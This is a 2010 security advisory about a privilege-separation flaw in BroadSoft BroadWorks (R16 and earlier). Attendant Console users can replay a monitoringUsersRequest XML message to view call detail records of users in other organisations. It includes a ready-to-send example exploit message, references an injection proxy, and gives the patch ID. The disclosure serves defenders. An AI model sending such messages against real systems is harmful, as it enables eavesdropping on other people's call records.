Vulnerability Advisory

Name	BroadWorks Arbitrary Call Detail Record Eavesdropping
Vendor Website	http://www.broadsoft.com
Date Released	November 2, 2010
Affected Software	BroadWorks <= R16
Researcher	Nick Freeman (nick.freeman@security-assessment.com)

Description

Security-Assessment.com discovered an issue regarding privilege separation between different enterprise groups within BroadWorks. This issue allows a user with Attendant Console privileges to view and record live call detail records for any user of the system, including users from other organisations. Eavesdropping of call detail records requires knowledge of the target user’s BroadWorks username, e.g. 098765432@serviceprovider.com.

BroadWorks uses Client Application Protocol (CAP) XML messages to communicate between client applications and the BroadWorks platform. One of the messages, monitoringUsersRequest, is transmitted by the Attendant Console to BroadWorks during the logon procedure. This command includes a list of usernames that the Attendant Console can monitor for incoming and outgoing calls. A malicious user can replay this message with usernames from other enterprises, and once this operation has completed, all incoming and outgoing calls for the target user(s) will be visible to the Attendant.

Exploitation

The following is an example XML message to add a target user (in this case, 098765432@serviceprovider.com) to the monitoring list. This must be sent after successful authentication to the BroadWorks platform.

Example XML Message

```
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
 <BroadsoftDocument protocol="CAP" version="14.0">
  <command commandType = "monitoringUsersRequest">
   <commandData>
    <user userType="AttendantConsole" userUid = "AttendantConsoleUserUID">
     <applicationId>Client License 3</applicationId>
     <monitoring monType="Add"/>
     <monUser>098765432@serviceprovider.com</monUser>
    </user>
   </commandData>
  </command>
 </BroadsoftDocument>
```

A basic proxy is available at http://www.security-assessment.com/files/advisories/bwe.py which can intercept and modify the XML stream, allowing the injection of monitoringUsersRequest packets.

Solution

A patch is available from Broadsoft for this vulnerability. The patch id is **ap114116.**

About Security-Assessment.com

Security-Assessment.com is Australasia’s leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.